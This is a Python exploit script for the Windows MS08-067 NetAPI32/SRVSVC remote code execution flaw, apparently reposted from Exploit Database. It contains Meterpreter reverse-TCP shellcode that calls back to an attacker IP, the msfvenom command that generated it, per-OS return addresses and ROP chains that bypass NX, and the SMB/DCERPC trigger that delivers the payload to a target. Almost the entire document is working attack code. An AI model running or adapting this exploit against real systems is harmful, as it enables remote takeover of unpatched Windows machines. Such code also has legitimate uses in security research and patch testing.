Microsoft Windows – ‘NetAPI32.dll’ Code Execution (Python) (MS08-067)

Exploit Database
115 阅读

作者： ohnozzy

日期： 2016-02-26
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/40279/

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import struct

import time

import sys

from threading import Thread#Thread is imported incase you would like to modify

try:

from impacket import smb

from impacket import uuid

from impacket import dcerpc

from impacket.dcerpc.v5 import transport

except ImportError, _:

print 'Install the following library to make this script work'

print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'

print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'

sys.exit(1)

print '#######################################################################'

print '# MS08-067 Exploit'

print '# This is a modified verion of Debasis Mohanty\'s code (https://www.exploit-db.com/exploits/7132/).'

print '# The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_067_netapi'

print '#######################################################################\n'

#Reverse TCP shellcode from metasploit; port 443 IP 192.168.40.103; badchars \x00\x0a\x0d\x5c\x5f\x2f\x2e\x40;

#Make sure there are enough nops at the begining for the decoder to work. Payload size: 380 bytes (nopsleps are not included)

#EXITFUNC=thread Important!

#msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.77 LPORT=443EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f python

shellcode="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

shellcode+="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

shellcode += "\x2b\xc9\x83\xe9\xa7\xe8\xff\xff\xff\xff\xc0\x5e\x81"

shellcode += "\x76\x0e\xb7\xdd\x9e\xe0\x83\xee\xfc\xe2\xf4\x4b\x35"

shellcode += "\x1c\xe0\xb7\xdd\xfe\x69\x52\xec\x5e\x84\x3c\x8d\xae"

shellcode += "\x6b\xe5\xd1\x15\xb2\xa3\x56\xec\xc8\xb8\x6a\xd4\xc6"

shellcode += "\x86\x22\x32\xdc\xd6\xa1\x9c\xcc\x97\x1c\x51\xed\xb6"

shellcode += "\x1a\x7c\x12\xe5\x8a\x15\xb2\xa7\x56\xd4\xdc\x3c\x91"

shellcode += "\x8f\x98\x54\x95\x9f\x31\xe6\x56\xc7\xc0\xb6\x0e\x15"

shellcode += "\xa9\xaf\x3e\xa4\xa9\x3c\xe9\x15\xe1\x61\xec\x61\x4c"

shellcode += "\x76\x12\x93\xe1\x70\xe5\x7e\x95\x41\xde\xe3\x18\x8c"

shellcode += "\xa0\xba\x95\x53\x85\x15\xb8\x93\xdc\x4d\x86\x3c\xd1"

shellcode += "\xd5\x6b\xef\xc1\x9f\x33\x3c\xd9\x15\xe1\x67\x54\xda"

shellcode += "\xc4\x93\x86\xc5\x81\xee\x87\xcf\x1f\x57\x82\xc1\xba"

shellcode += "\x3c\xcf\x75\x6d\xea\xb5\xad\xd2\xb7\xdd\xf6\x97\xc4"

shellcode += "\xef\xc1\xb4\xdf\x91\xe9\xc6\xb0\x22\x4b\x58\x27\xdc"

shellcode += "\x9e\xe0\x9e\x19\xca\xb0\xdf\xf4\x1e\x8b\xb7\x22\x4b"

shellcode += "\x8a\xb2\xb5\x5e\x48\xa9\x90\xf6\xe2\xb7\xdc\x25\x69"

shellcode += "\x51\x8d\xce\xb0\xe7\x9d\xce\xa0\xe7\xb5\x74\xef\x68"

shellcode += "\x3d\x61\x35\x20\xb7\x8e\xb6\xe0\xb5\x07\x45\xc3\xbc"

shellcode += "\x61\x35\x32\x1d\xea\xea\x48\x93\x96\x95\x5b\x35\xff"

shellcode += "\xe0\xb7\xdd\xf4\xe0\xdd\xd9\xc8\xb7\xdf\xdf\x47\x28"

shellcode += "\xe8\x22\x4b\x63\x4f\xdd\xe0\xd6\x3c\xeb\xf4\xa0\xdf"

shellcode += "\xdd\x8e\xe0\xb7\x8b\xf4\xe0\xdf\x85\x3a\xb3\x52\x22"

shellcode += "\x4b\x73\xe4\xb7\x9e\xb6\xe4\x8a\xf6\xe2\x6e\x15\xc1"

shellcode += "\x1f\x62\x5e\x66\xe0\xca\xff\xc6\x88\xb7\x9d\x9e\xe0"

shellcode += "\xdd\xdd\xce\x88\xbc\xf2\x91\xd0\x48\x08\xc9\x88\xc2"

shellcode += "\xb3\xd3\x81\x48\x08\xc0\xbe\x48\xd1\xba\x09\xc6\x22"

shellcode += "\x61\x1f\xb6\x1e\xb7\x26\xc2\x1a\x5d\x5b\x57\xc0\xb4"

shellcode += "\xea\xdf\x7b\x0b\x5d\x2a\x22\x4b\xdc\xb1\xa1\x94\x60"

shellcode += "\x4c\x3d\xeb\xe5\x0c\x9a\x8d\x92\xd8\xb7\x9e\xb3\x48"

shellcode += "\x08\x9e\xe0"

nonxjmper = "\x08\x04\x02\x00%s"+"A"*4+"%s"+"A"*42+"\x90"*8+"\xeb\x62"+"A"*10

disableNXjumper = "\x08\x04\x02\x00%s%s%s"+"A"*28+"%s"+"\xeb\x02"+"\x90"*2+"\xeb\x62"

ropjumper = "\x00\x08\x01\x00"+"%s"+"\x10\x01\x04\x01";

module_base = 0x6f880000

def generate_rop(rvas):

gadget1="\x90\x5a\x59\xc3"

gadget2 = ["\x90\x89\xc7\x83", "\xc7\x0c\x6a\x7f", "\x59\xf2\xa5\x90"]

gadget3="\xcc\x90\xeb\x5a"

ret=struct.pack('<L', 0x00018000)

ret+=struct.pack('<L', rvas['call_HeapCreate']+module_base)

ret+=struct.pack('<L', 0x01040110)

ret+=struct.pack('<L', 0x01010101)

ret+=struct.pack('<L', rvas['add eax, ebp / mov ecx, 0x59ffffa8 / ret']+module_base)

ret+=struct.pack('<L', rvas['pop ecx / ret']+module_base)

ret+=gadget1

ret+=struct.pack('<L', rvas['mov [eax], ecx / ret']+module_base)

ret+=struct.pack('<L', rvas['jmp eax']+module_base)

ret+=gadget2[0]

ret+=gadget2[1]

ret+=struct.pack('<L', rvas['mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret']+module_base)

ret+=struct.pack('<L', rvas['pop ecx / ret']+module_base)

ret+=gadget2[2]

ret+=struct.pack('<L', rvas['mov [eax+0x10], ecx / ret']+module_base)

ret+=struct.pack('<L', rvas['add eax, 8 / ret']+module_base)

ret+=struct.pack('<L', rvas['jmp eax']+module_base)

ret+=gadget3

return ret

class SRVSVC_Exploit(Thread):

def __init__(self, target, os, port=445):

super(SRVSVC_Exploit, self).__init__()

self.__port = port

self.target = target

self.os = os

def __DCEPacket(self):

if (self.os=='1'):

print 'Windows XP SP0/SP1 Universal\n'

ret = "\x61\x13\x00\x01"

jumper = nonxjmper % (ret, ret)

elif (self.os=='2'):

print 'Windows 2000 Universal\n'

ret = "\xb0\x1c\x1f\x00"

jumper = nonxjmper % (ret, ret)

elif (self.os=='3'):

print 'Windows 2003 SP0 Universal\n'

ret = "\x9e\x12\x00\x01"#0x01 00 12 9e

jumper = nonxjmper % (ret, ret)

elif (self.os=='4'):

print 'Windows 2003 SP1 English\n'

ret_dec = "\x8c\x56\x90\x7c"#0x7c 90 56 8c dec ESI, ret @SHELL32.DLL

ret_pop = "\xf4\x7c\xa2\x7c"#0x 7c a2 7c f4 push ESI, pop EBP, ret @SHELL32.DLL

jmp_esp = "\xd3\xfe\x86\x7c" #0x 7c 86 fe d3 jmp ESP @NTDLL.DLL

disable_nx = "\x13\xe4\x83\x7c" #0x 7c 83 e4 13 NX disable @NTDLL.DLL

jumper = disableNXjumper % (ret_dec*6, ret_pop, disable_nx, jmp_esp*2)

elif (self.os=='5'):

print 'Windows XP SP3 French (NX)\n'

ret = "\x07\xf8\x5b\x59"#0x59 5b f8 07

disable_nx = "\xc2\x17\x5c\x59" #0x59 5c 17 c2

jumper = nonxjmper % (disable_nx, ret)#the nonxjmper also work in this case.

elif (self.os=='6'):

print 'Windows XP SP3 English (NX)\n'

ret = "\x07\xf8\x88\x6f"#0x6f 88 f8 07

disable_nx = "\xc2\x17\x89\x6f" #0x6f 89 17 c2

jumper = nonxjmper % (disable_nx, ret)#the nonxjmper also work in this case.

elif (self.os=='7'):

print 'Windows XP SP3 English (AlwaysOn NX)\n'

rvasets = {'call_HeapCreate': 0x21286,'add eax, ebp / mov ecx, 0x59ffffa8 / ret' : 0x2e796,'pop ecx / ret':0x2e796 + 6,'mov [eax], ecx / ret':0xd296,'jmp eax':0x19c6f,'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret':0x10a56,'mov [eax+0x10], ecx / ret':0x10a56 + 6,'add eax, 8 / ret':0x29c64}

jumper = generate_rop(rvasets)+"AB"#the nonxjmper also work in this case.

else:

print 'Not supported OS version\n'

sys.exit(-1)

print '[-]Initiating connection'

self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target)

self.__trans.connect()

print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target

self.__dce = self.__trans.DCERPC_class(self.__trans)

self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))

path ="\x5c\x00"+"ABCDEFGHIJ"*10 + shellcode +"\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00" + "\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00"+ jumper + "\x00" * 2

server="\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00"

prefix="\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00"

self.__stub=server+"\x36\x01\x00\x00\x00\x00\x00\x00\x36\x01\x00\x00" + path +"\xE8\x03\x00\x00"+prefix+"\x01\x10\x00\x00\x00\x00\x00\x00"

return

def run(self):

self.__DCEPacket()

self.__dce.call(0x1f, self.__stub)

time.sleep(5)

print 'Exploit finish\n'

if __name__ == '__main__':

try:

target = sys.argv[1]

os = sys.argv[2]

except IndexError:

print '\nUsage: %s <target ip>\n' % sys.argv[0]

print 'Example: MS08_067.py 192.168.1.1 1 for Windows XP SP0/SP1 Universal\n'

print 'Example: MS08_067.py 192.168.1.1 2 for Windows 2000 Universal\n'

sys.exit(-1)

current = SRVSVC_Exploit(target, os)

current.start()